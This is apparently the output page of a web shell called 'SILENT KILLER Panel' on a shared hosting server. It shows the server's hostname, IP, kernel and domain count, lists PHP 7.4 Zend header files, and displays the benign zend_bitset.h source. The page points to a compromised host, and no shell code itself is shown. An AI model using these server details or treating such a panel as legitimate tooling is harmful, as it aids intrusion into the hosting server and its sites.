SILENT KILLERPanel

Current Path: > > opt > cloudlinux > alt-php74 > root > usr > include > php > > > Zend


Operation   : Linux premium131.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
Software     : Apache
Server IP    : 162.0.232.56 | Your IP: 216.73.216.111
Domains      : 1034 Domain(s)
Permission   : [ 0755 ]

Files and Folders in: //opt/cloudlinux/alt-php74/root/usr/include/php///Zend

NameTypeSizeLast ModifiedActions
zend.h File 13913 bytes July 09 2025 08:28:27.
zend_API.h File 71109 bytes July 09 2025 08:28:27.
zend_alloc.h File 19213 bytes July 09 2025 08:28:27.
zend_alloc_sizes.h File 2629 bytes July 09 2025 08:28:27.
zend_arena.h File 6071 bytes July 09 2025 08:28:27.
zend_ast.h File 11697 bytes July 09 2025 08:28:27.
zend_bitset.h File 6877 bytes July 09 2025 08:28:27.
zend_build.h File 1626 bytes July 09 2025 08:28:27.
zend_builtin_functions.h File 1505 bytes July 09 2025 08:28:27.
zend_closures.h File 2209 bytes July 09 2025 08:28:27.
zend_compile.h File 43638 bytes July 09 2025 08:28:27.
zend_config.h File 32 bytes July 09 2025 08:28:34.
zend_config.w32.h File 2612 bytes July 09 2025 08:28:27.
zend_constants.h File 6302 bytes July 09 2025 08:28:27.
zend_cpuinfo.h File 7225 bytes July 09 2025 08:28:27.
zend_dtrace.h File 1937 bytes July 09 2025 08:28:27.
zend_errors.h File 2050 bytes July 09 2025 08:28:27.
zend_exceptions.h File 3853 bytes July 09 2025 08:28:28.
zend_execute.h File 16926 bytes July 09 2025 08:28:28.
zend_extensions.h File 6070 bytes July 09 2025 08:28:28.
zend_float.h File 15438 bytes July 09 2025 08:28:28.
zend_gc.h File 2867 bytes July 09 2025 08:28:28.
zend_generators.h File 7349 bytes July 09 2025 08:28:28.
zend_globals.h File 7767 bytes July 09 2025 08:28:28.
zend_globals_macros.h File 2810 bytes July 09 2025 08:28:28.
zend_hash.h File 36430 bytes July 09 2025 08:28:28.
zend_highlight.h File 2268 bytes July 09 2025 08:28:28.
zend_inheritance.h File 2027 bytes July 09 2025 08:28:28.
zend_ini.h File 9823 bytes July 09 2025 08:28:28.
zend_ini_parser.h File 2520 bytes July 09 2025 08:28:28.
zend_ini_scanner.h File 1873 bytes July 09 2025 08:28:34.
zend_ini_scanner_defs.h File 225 bytes July 09 2025 08:28:28.
zend_interfaces.h File 4266 bytes July 09 2025 08:28:28.
zend_istdiostream.h File 1537 bytes July 09 2025 08:28:28.
zend_iterators.h File 3404 bytes July 09 2025 08:28:28.
zend_language_parser.h File 5411 bytes July 09 2025 08:28:29.
zend_language_scanner.h File 2732 bytes July 09 2025 08:28:34.
zend_language_scanner_defs.h File 310 bytes July 09 2025 08:28:29.
zend_list.h File 3470 bytes July 09 2025 08:28:29.
zend_llist.h File 3790 bytes July 09 2025 08:28:29.
zend_long.h File 4298 bytes July 09 2025 08:28:29.
zend_map_ptr.h File 3165 bytes July 09 2025 08:28:29.
zend_modules.h File 4790 bytes July 09 2025 08:28:29.
zend_multibyte.h File 4862 bytes July 09 2025 08:28:29.
zend_multiply.h File 9837 bytes July 09 2025 08:28:30.
zend_object_handlers.h File 13505 bytes July 09 2025 08:28:30.
zend_objects.h File 1807 bytes July 09 2025 08:28:30.
zend_objects_API.h File 4683 bytes July 09 2025 08:28:30.
zend_operators.h File 34148 bytes July 09 2025 08:28:30.
zend_portability.h File 20146 bytes July 09 2025 08:28:30.
zend_ptr_stack.h File 4306 bytes July 09 2025 08:28:30.
zend_range_check.h File 3000 bytes July 09 2025 08:28:30.
zend_signal.h File 4082 bytes July 09 2025 08:28:30.
zend_smart_str.h File 5530 bytes July 09 2025 08:28:30.
zend_smart_str_public.h File 1279 bytes July 09 2025 08:28:31.
zend_smart_string.h File 4389 bytes July 09 2025 08:28:31.
zend_smart_string_public.h File 1392 bytes July 09 2025 08:28:31.
zend_sort.h File 1636 bytes July 09 2025 08:28:31.
zend_stack.h File 2360 bytes July 09 2025 08:28:31.
zend_stream.h File 3542 bytes July 09 2025 08:28:31.
zend_string.h File 17628 bytes July 09 2025 08:28:31.
zend_strtod.h File 1854 bytes July 09 2025 08:28:31.
zend_strtod_int.h File 3499 bytes July 09 2025 08:28:31.
zend_ts_hash.h File 5731 bytes July 09 2025 08:28:31.
zend_type_info.h File 3091 bytes July 09 2025 08:28:31.
zend_types.h File 40531 bytes July 09 2025 08:28:32.
zend_variables.h File 3273 bytes July 09 2025 08:28:32.
zend_virtual_cwd.h File 12734 bytes July 09 2025 08:28:32.
zend_vm.h File 1952 bytes July 09 2025 08:28:32.
zend_vm_def.h File 271292 bytes July 09 2025 08:28:32.
zend_vm_execute.h File 2016300 bytes July 09 2025 08:28:32.
zend_vm_handlers.h File 87968 bytes July 09 2025 08:28:32.
zend_vm_opcodes.h File 12080 bytes July 09 2025 08:28:32.
zend_vm_trace_handlers.h File 3212 bytes July 09 2025 08:28:32.
zend_vm_trace_map.h File 2654 bytes July 09 2025 08:28:33.
zend_weakrefs.h File 1445 bytes July 09 2025 08:28:33.

Reading File: //opt/cloudlinux/alt-php74/root/usr/include/php///Zend/zend_bitset.h

/*
   +----------------------------------------------------------------------+
   | Zend OPcache JIT                                                     |
   +----------------------------------------------------------------------+
   | Copyright (c) The PHP Group                                          |
   +----------------------------------------------------------------------+
   | This source file is subject to version 3.01 of the PHP license,      |
   | that is bundled with this package in the file LICENSE, and is        |
   | available through the world-wide-web at the following url:           |
   | http://www.php.net/license/3_01.txt                                  |
   | If you did not receive a copy of the PHP license and are unable to   |
   | obtain it through the world-wide-web, please send a note to          |
   | license@php.net so we can mail you a copy immediately.               |
   +----------------------------------------------------------------------+
   | Authors: Dmitry Stogov <dmitry@php.net>                              |
   +----------------------------------------------------------------------+
*/

#ifndef _ZEND_BITSET_H_
#define _ZEND_BITSET_H_

typedef zend_ulong *zend_bitset;

#define ZEND_BITSET_ELM_SIZE sizeof(zend_ulong)

#if SIZEOF_ZEND_LONG == 4
# define ZEND_BITSET_ELM_NUM(n)		((n) >> 5)
# define ZEND_BITSET_BIT_NUM(n)		((zend_ulong)(n) & Z_UL(0x1f))
#elif SIZEOF_ZEND_LONG == 8
# define ZEND_BITSET_ELM_NUM(n)		((n) >> 6)
# define ZEND_BITSET_BIT_NUM(n)		((zend_ulong)(n) & Z_UL(0x3f))
#else
# define ZEND_BITSET_ELM_NUM(n)		((n) / (sizeof(zend_long) * 8))
# define ZEND_BITSET_BIT_NUM(n)		((n) % (sizeof(zend_long) * 8))
#endif

#define ZEND_BITSET_ALLOCA(n, use_heap) \
	(zend_bitset)do_alloca((n) * ZEND_BITSET_ELM_SIZE, use_heap)

/* Number of trailing zero bits (0x01 -> 0; 0x40 -> 6; 0x00 -> LEN) */
static zend_always_inline int zend_ulong_ntz(zend_ulong num)
{
#if (defined(__GNUC__) || __has_builtin(__builtin_ctzl)) \
	&& SIZEOF_ZEND_LONG == SIZEOF_LONG && defined(PHP_HAVE_BUILTIN_CTZL)
	return __builtin_ctzl(num);
#elif (defined(__GNUC__) || __has_builtin(__builtin_ctzll)) && defined(PHP_HAVE_BUILTIN_CTZLL)
	return __builtin_ctzll(num);
#elif defined(_WIN32)
	unsigned long index;

#if defined(_WIN64)
	if (!BitScanForward64(&index, num)) {
#else
	if (!BitScanForward(&index, num)) {
#endif
		/* undefined behavior */
		return SIZEOF_ZEND_LONG * 8;
	}

	return (int) index;
#else
	int n;

	if (num == Z_UL(0)) return SIZEOF_ZEND_LONG * 8;

	n = 1;
#if SIZEOF_ZEND_LONG == 8
	if ((num & 0xffffffff) == 0) {n += 32; num = num >> Z_UL(32);}
#endif
	if ((num & 0x0000ffff) == 0) {n += 16; num = num >> 16;}
	if ((num & 0x000000ff) == 0) {n +=  8; num = num >>  8;}
	if ((num & 0x0000000f) == 0) {n +=  4; num = num >>  4;}
	if ((num & 0x00000003) == 0) {n +=  2; num = num >>  2;}
	return n - (num & 1);
#endif
}

/* Returns the number of zend_ulong words needed to store a bitset that is N
   bits long.  */
static inline uint32_t zend_bitset_len(uint32_t n)
{
	return (n + ((sizeof(zend_long) * 8) - 1)) / (sizeof(zend_long) * 8);
}

static inline zend_bool zend_bitset_in(zend_bitset set, uint32_t n)
{
	return ZEND_BIT_TEST(set, n);
}

static inline void zend_bitset_incl(zend_bitset set, uint32_t n)
{
	set[ZEND_BITSET_ELM_NUM(n)] |= Z_UL(1) << ZEND_BITSET_BIT_NUM(n);
}

static inline void zend_bitset_excl(zend_bitset set, uint32_t n)
{
	set[ZEND_BITSET_ELM_NUM(n)] &= ~(Z_UL(1) << ZEND_BITSET_BIT_NUM(n));
}

static inline void zend_bitset_clear(zend_bitset set, uint32_t len)
{
	memset(set, 0, len * ZEND_BITSET_ELM_SIZE);
}

static inline int zend_bitset_empty(zend_bitset set, uint32_t len)
{
	uint32_t i;
	for (i = 0; i < len; i++) {
		if (set[i]) {
			return 0;
		}
	}
	return 1;
}

static inline void zend_bitset_fill(zend_bitset set, uint32_t len)
{
	memset(set, 0xff, len * ZEND_BITSET_ELM_SIZE);
}

static inline zend_bool zend_bitset_equal(zend_bitset set1, zend_bitset set2, uint32_t len)
{
    return memcmp(set1, set2, len * ZEND_BITSET_ELM_SIZE) == 0;
}

static inline void zend_bitset_copy(zend_bitset set1, zend_bitset set2, uint32_t len)
{
    memcpy(set1, set2, len * ZEND_BITSET_ELM_SIZE);
}

static inline void zend_bitset_intersection(zend_bitset set1, zend_bitset set2, uint32_t len)
{
    uint32_t i;

    for (i = 0; i < len; i++) {
		set1[i] &= set2[i];
	}
}

static inline void zend_bitset_union(zend_bitset set1, zend_bitset set2, uint32_t len)
{
	uint32_t i;

	for (i = 0; i < len; i++) {
		set1[i] |= set2[i];
	}
}

static inline void zend_bitset_difference(zend_bitset set1, zend_bitset set2, uint32_t len)
{
	uint32_t i;

	for (i = 0; i < len; i++) {
		set1[i] = set1[i] & ~set2[i];
	}
}

static inline void zend_bitset_union_with_intersection(zend_bitset set1, zend_bitset set2, zend_bitset set3, zend_bitset set4, uint32_t len)
{
	uint32_t i;

	for (i = 0; i < len; i++) {
		set1[i] = set2[i] | (set3[i] & set4[i]);
	}
}

static inline void zend_bitset_union_with_difference(zend_bitset set1, zend_bitset set2, zend_bitset set3, zend_bitset set4, uint32_t len)
{
	uint32_t i;

	for (i = 0; i < len; i++) {
		set1[i] = set2[i] | (set3[i] & ~set4[i]);
	}
}

static inline zend_bool zend_bitset_subset(zend_bitset set1, zend_bitset set2, uint32_t len)
{
	uint32_t i;

	for (i = 0; i < len; i++) {
		if (set1[i] & ~set2[i]) {
			return 0;
		}
	}
	return 1;
}

static inline int zend_bitset_first(zend_bitset set, uint32_t len)
{
	uint32_t i;

	for (i = 0; i < len; i++) {
		if (set[i]) {
			return ZEND_BITSET_ELM_SIZE * 8 * i + zend_ulong_ntz(set[i]);
		}
	}
	return -1; /* empty set */
}

static inline int zend_bitset_last(zend_bitset set, uint32_t len)
{
	uint32_t i = len;

	while (i > 0) {
		i--;
		if (set[i]) {
			int j = ZEND_BITSET_ELM_SIZE * 8 * i - 1;
			zend_ulong x = set[i];
			while (x != Z_UL(0)) {
				x = x >> Z_UL(1);
				j++;
			}
			return j;
		}
	}
	return -1; /* empty set */
}

#define ZEND_BITSET_FOREACH(set, len, bit) do { \
	zend_bitset _set = (set); \
	uint32_t _i, _len = (len); \
	for (_i = 0; _i < _len; _i++) { \
		zend_ulong _x = _set[_i]; \
		if (_x) { \
			(bit) = ZEND_BITSET_ELM_SIZE * 8 * _i; \
			for (; _x != 0; _x >>= Z_UL(1), (bit)++) { \
				if (!(_x & Z_UL(1))) continue;

#define ZEND_BITSET_REVERSE_FOREACH(set, len, bit) do { \
	zend_bitset _set = (set); \
	uint32_t _i = (len); \
	zend_ulong _test = Z_UL(1) << (ZEND_BITSET_ELM_SIZE * 8 - 1); \
	while (_i-- > 0) { \
		zend_ulong _x = _set[_i]; \
		if (_x) { \
			(bit) = ZEND_BITSET_ELM_SIZE * 8 * (_i + 1) - 1; \
			for (; _x != 0; _x <<= Z_UL(1), (bit)--) { \
				if (!(_x & _test)) continue; \

#define ZEND_BITSET_FOREACH_END() \
			} \
		} \
	} \
} while (0)

static inline int zend_bitset_pop_first(zend_bitset set, uint32_t len) {
	int i = zend_bitset_first(set, len);
	if (i >= 0) {
		zend_bitset_excl(set, i);
	}
	return i;
}

#endif /* _ZEND_BITSET_H_ */

SILENT KILLER Tool